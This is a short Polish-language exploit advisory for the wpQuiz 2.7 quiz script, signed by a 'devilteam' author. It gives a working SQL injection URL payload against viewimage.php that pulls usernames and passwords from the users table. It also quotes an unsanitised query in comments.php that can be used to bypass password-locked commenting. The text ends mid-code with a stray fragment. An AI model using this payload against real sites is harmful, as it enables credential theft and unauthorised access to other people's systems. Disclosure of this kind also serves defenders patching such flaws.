Tytul: wpQuiz 2.7 Remote SQL Injection Vulnerability ### http://wireplastik.com/projects.php Autor: Kacper E-Mail: kacper1964@yahoo.pl Strona: devilteam.eu Irc: irc.myg0t.com #devilteam Blad: viewimage.php?id=-1'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,concat(user,char(58),password),14,15+from+users+where+id=1/* Pozniej sciagnij obrazek i sprawdz jego zrodlo! ========================================================================================================================== Kolejny blad dotyczy nieautoryzowanego dostepu do komentowania wynikow na quizie. Skopiowane prosto z => http://devilteam.eu/forum/topics92/bypass-za-pomoca-sql-wpquiz-vt4278.htm ========================================================================================================================== Elo, ostatnio natknolem sie na ciekawy skrypt Quizowy (WpQuiz) i znalazlem w nim pare ciekawych bledow. w skrypcie istnieje opcja pozwalajaca na blokowanie na haslo przez administratora komentowania wynikow w quizie. Plik comments.php zawiera zrodlo: Kod: $no = $_GET['id']; $setcheck = mysql_fetch_array(mysql_query("SELECT * FROM sets WHERE id='".$no."'")); if( mysql_affected_rows() == 0 ){ geterror("commentsinvalidset"); } if( $setcheck['isopen'] == 0 ){ geterror("commentsquestionsetclosed"); } if($setcheck['password'] != ""){ if( !isset($_POST['password']) || ($_POST['password'] != $setcheck['password']) ){ ?>

Query Builder